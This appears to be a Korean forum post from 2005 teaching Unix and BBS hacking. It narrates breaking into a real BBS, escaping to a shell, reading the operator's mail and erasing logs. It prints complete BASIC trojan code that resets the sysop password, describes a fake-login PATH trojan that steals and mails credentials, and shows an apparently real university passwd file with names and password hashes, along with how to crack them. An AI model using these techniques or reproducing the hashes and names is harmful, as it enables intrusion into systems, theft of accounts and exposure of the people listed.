리눅스해킹

게시글 '유닉스/통신망 해킹에 대한 심화학습'에 대한 정보
유닉스/통신망 해킹에 대한 심화학습
등록일 2005-10-16 조회 2,687
대개의 호스트는 유닉스를 사용합니다. 이때 핵심이랄지 할것이 바로 아이디 해킹일겁니다. 도스와 다른 유닉스의 특징이 바로 login 이죠. 자신의 아이디가 해킹 당했다면 큰일이죠. 그래서 패스워드를 어렵게 만드는 것이 중요합니다. 해커들이 해킹할때는 이 패스워드를 알아내거나 유닉스 시스템의 홀을 찾는 방법을 사용하는 것이죠. 다음 몇몇 호스트를 해킹하는 예를 들어보이겠습니다. 다음은 KIDS bbs를 해킹한 사례입니다. kids의 도메인 어드레스는 kids.kotel.co.kr 이다. 우선 telnet 로 kids에 접속한다. telnet도 하나의 접속 프로그램이라고 인터넷 강좌에서 이야기 하였다. 여기서 쓰는 telnet은 버그를 이용하여 접속한 것이다. 자신의 아이디로 접속하지 말고 패킷 가로채기를 이용한 다른 사람의 아이디를 사용한다. kids는 라우팅 메뉴에 홀이 있다. 내무실행모드로 되어있는 메뉴를 /bin/sh 으로 대치하고는 셀로 빠진다. 셀등에 대해서는 앞에서 설명했을줄 안다. 그리고 kids 디렉토리인 /mam/kids/etc 로 이동한다. 패스워드 화일이 5개나 있어서 구분하지 못하고, 그대신 /kids/usr ->mail directory 로 들어가 퍼미션이 kids인것을 확인하고 센터 운영자 시솝의 편지를 읽을수 있다. 대부분 신상명세에 대한 것이다. 다읽고 증거 인멸을 위해 모두 삭제한후 접속 흔적을 지우기 위해 응용어플리케이션으로 lastlog를 지우고 나와야 한다. 이상입니다. 다음은 푸른물 핵킹법 입니다. 푸른물이란 호스트를 사용한 비비에스일 경우 운영자의 아이디있죠? 운영자의 아이디야 쉽게 알수 있습니다. 가입할때 운영자아이디+공백으로 하시면 운영자가 올린 게시물과 자료를 몽땅 지울수 있지요, 물론 다른사람아이디도 가능하고요. 이것은 예전에 케텔시절에 통했던 것인데 푸른물 호스트에서도 가능하더군요. 주변에 푸른물 호스트를 사용하는 비비에스가 있다면 한번 테스트 해보시죠. 이것이 바로 홀 이라고 할 수 있을겁니다. 다음은 호롱불 호스트 해킹법이죠. 일종의 트로이 목마 바이러스라 할수 있죠. 반드시 시삽이 실행할 수 있게끔 미끼를 던지시기 바랍니다. 이것은 시삽 암호를 AAAAAAAA로 바꾸는것이죠. $COMPILE EXE SHELL "DIR C:\USER.V35 /S >HOSTKILL.$$$" OPEN "HOSTKILL.$$$" FOR INPUT AS #1 FOR BYTE=1 TO 5 INPUT #1, DAT$ NEXT BYTE CLOSE #1 KILL "HOSTKILL.$$$" OPEN MID$(DAT$,14)+"\USER.V35" FOR BINARY AS #1 FOR BYTE=1 TO LOF(1) SEEK 1, BYTE GET$ 1, 5, DAT$ IF DAT$="sysop" THEN EXIT FOR NEXT BYTE SEEK 1, BYTE+11 PUT$ 1, CHR$(&H41) PUT$ 1, CHR$(&H41) PUT$ 1, CHR$(&H41) PUT$ 1, CHR$(&H41) PUT$ 1, CHR$(&H41) PUT$ 1, CHR$(&H41) PUT$ 1, CHR$(&H41) ENDPROG: END 유닉스 해킹에서 root의 권한을 가진 패스워드를 알아낸다면 그 시스템은 이제 자신의 것이 될것이다. 누구나 어떤 SYSTEM의 사용하게 되면 ID 와 PASSWORD를 가지게 될 것입니다 보통 해커들은 일반사용자의 아이디를 root의 자격을 얻어내기위한 발판으로 사용한다. 그래서 만약 일이 터졌을때 의심을 받게되니 관리를 잘해야한다 앞에 kids를 해킹할때도 사용한 방법이지만 절대 자신의 개인 아이디로 접속해서 해킹할려는 멍청한 짓을 말기를......... 일단은 전혀 모르는 타인의 아이디를 해킹해야 합니다. 방법은 여러가지가 있겠는데, 친구 어깨너머로 훔쳐보는 방법을 쓰거나 무작정 패스워드를 맞출때까지 두드리는 법등이 있을것이다. 이것말고 스크립트 화일을 이용한다거나 나우누리에서 쪽지 기능을 이용한 트로이목마 의 형태도 가능하다. 유닉스에서 이러한 예를 보자면, 먼저 다른유저들이 자주 들락거리는 길목에 한개의 작은 화일을 만들어둔다. 이는 스크립트 화일로써 사용자가 자주쓰는 vi,sed,..등의 프로그램명과 동일하게 만든다. 이렇게 하면 다른 사용자가 이 길목에서 vi를 무심코 실행하면 그 사용자의 의도와는 달리 처음 프로그램탐색 path인 현 디렉토리의 트로이 목마 스크립트 화일이 실행이 되는것이다. 마치 배치로 짠 트로이 목마와 유사한 것이다. 일반적으로 많이 사용되는것들이 화일을 지우고, "login :"화면을 그럴듯하게 보여주는 것이다. 그러면 사용자는 자신의 실수 또는 시스템의 이상이라고 착각을 하고 다시 자신의 유저이름과 패스워드를 입력을 하게 된다. 그러면 이 트로이 목마 프로그램은 그 정보를 특정 공개 디렉토리에 넣거나, 메일로 해커에게 날려보낸다. 나우누리에서는 이런류의 쪽지기능을 이용하여 해킹한 사례가 있기도 하다. 패스워드 해킹중 가장 확실한 방법을 소개하자면, 자신이 어떤 사설비비에스를 운영한다면 그 사설비비에스에 등록한 회원들의 아이디,비밀번호를 이용하는 방법이 있다. 이는 대개의 사람들이 귀찮아서 동일한 아이디,비밀번호를 사용하는데 착안한 것이다. 많은 숫자의 사람들이 동일한 것을 쓰기에 대형통신망등에서 가능하다. 이 방법과 유사한것으로 천리안,하이텔같은 통신망의 어떤 특정한 동호회 운영자 권한을 가진 사람이 자신에게 보낸 회원들의 신상명세 편지를 이용할 수 가 있다. 거기에는 이름,주소,생년월일,주민등록 등이 있는데 실제로 임의로 20명을 추출하여 테스트해본결과 생일로 한 사람이 2명이었으니 약 10% 의 사용자는 자신의 생일을 패스워드로 사용한다는 결론이 나왔다. 단 절대 악용하여서는 안될것이다. ID와 같은 PASSWORD , 주민등록번호, 학번,전화번호, 생일,군번 ,영사전에 나오는 단어 등은 패스워드로 사용하는것을 자제하기 바란다. 다음은 유닉스 시스템의 암호에 관한것이다. UNIX SYSTEM은 각사용자들의 PASSWORD및 기타 정보를 /etc/passwd에 보관하고 있다. 여기를 vi나 cat로 한번 보면...... cat passwd root:xWcJu5UZ6JLx6,2.gI:0:1:Operator:/:/bin/csh nobody:*:65534:65534::/: daemon:*:1:1::/: sys:*::3::/:/bin/csh bin:*:3:3::/bin: uucp:*:4:8::/var/spool/uucppublic: news:*:6:6::/var/spool/news:/bin/csh usenet:*:5:5::/var/spool/news:/bin/csh ingres:*:7:7::/usr/ingres:/bin/csh audit:*:9:9::/etc/security/audit:/bin/csh sync::1:1::/:/bin/sync sysdiag:*:0:1:Old System Diagnostic:/usr/diag/sysdiag:/usr/diag/sysdiag/sysdiag sundiag:*:0:1:System Diagnostic:/usr/diag/sundiag:/usr/diag/sundiag/sundiag gslee:4iGHcJKiJe6n6,2.iI:213:1003:GueeSang Lee:/home/gslee:/bin/csh jsbaek:rXuPAiBz03JH6,2.hI:215:1005:JeongSeon Baek:/home/jsbaek:/bin/csh mokpo:YwvoRt9nkUBPM,2.hI:221:1010:Mokpo National University:/home/mokpo:/bin/csh hschoi:osui5p1oOAfOo,2.:226:1010:HanSeok Choi (MNUCC):/home/hschoi:/bin/csh edu:.1k6TgOB2i.GY,2.dI:227:1001:Education Part in CNUCC:/home/edu:/bin/csh cjj:baNQP96Gh7HSU,2.hI:101:1502:junjoo cho:/home/cjj:/bin/csh chonnam% 위의것은 사례로서 전남대 교육전산망 chonnam의 passwd file의 일부이다. 실제 이렇게 길지 않고 내용이 다를수있다. 여기에서 hschoi:osui5p1oOAfOo,2.:226:1010:HanSeok Choi (MNUCC):/home/hschoi [1] [2] [3] [4] [5] [6] :/bin/csh [7] 위와 같이 7개의 field로 나뉜다. 1.field 사용자이름 - hschoi 2.field 사용자의 password 보통 안보여주거나 암호화 - osui5p1oOAfOo,2 3 field 사용자의 id number - 226 4. 사용자가 속해있는 그룹 아이디 number - 1010 5. 실제 사용자이름[id가 아님] - HanSeok Choi (MNUCC) 6. 사용자의 홈 디렉토리 - /home/hschoi 7. 사용자가 사용하는 shell - /home/hschoi:/bin/csh 여기서 관심을 가질부분이 2번째 단계이다. osui5p1o0Af0o,2로 암호화된 부분의 앞 두글자는 원래글자의 끝 단어의 두글자 그러니 ***********os 로 나갈것이다. 그런데 실제 암호와는 틀린 이상한 문자일것이다. 이는 des 기법을 쓴 암호화이다. 처음에 필자가 이것을 보았을때 한번 지워본적이 있었다. 순진한 생각에 암호가 없어질줄 알았지만 웬걸~~ 시스템을 날려버려야 했다. 왜냐고? root로 들어갈수 없었거든~~ 흐흐. 다른 슈퍼유저 권한의 아이디도 만들어놓은 상태가 아니어서.......... 그리고 크랙이라는 프로그램이 있다. 이것은 사용자들이 만들만한 password 사전을 내장하여 이 것을 가지고 /etc/passwd 화일을 불러들여 내장 사전의 단어들을 하나씩 암호화 시켜 대조 한다는 것이다. 좀 보기에는 무식한 방법같으나 그 효과 가 탁월해서 SYSTEM관리자들이 다른 알고리즘 또는 crypt(3)의 매개변수 일 부를 변화시켜 사용하면 crack 같은 패스워드 추측 프로그램은 실패된다.. 이외에 cops도 있다. 다음시간에 자세히 다루겠다. 실제 이런 류의 유닉스 시스템을 접해보고자 한다면 지금 당장 대형통신망의 자료실에서 "미니 리눅스"라는것을 다운받기 바란다. 미니 리눅스는 도스에서도 완벽히 작동하는 유닉스 운영체제로서 자신이 설치하고 root권한을 갖게 되므로 얼마든지 뜯어볼수 있기 때문이다. 연습용으로 아주 아주 적당한 것이다.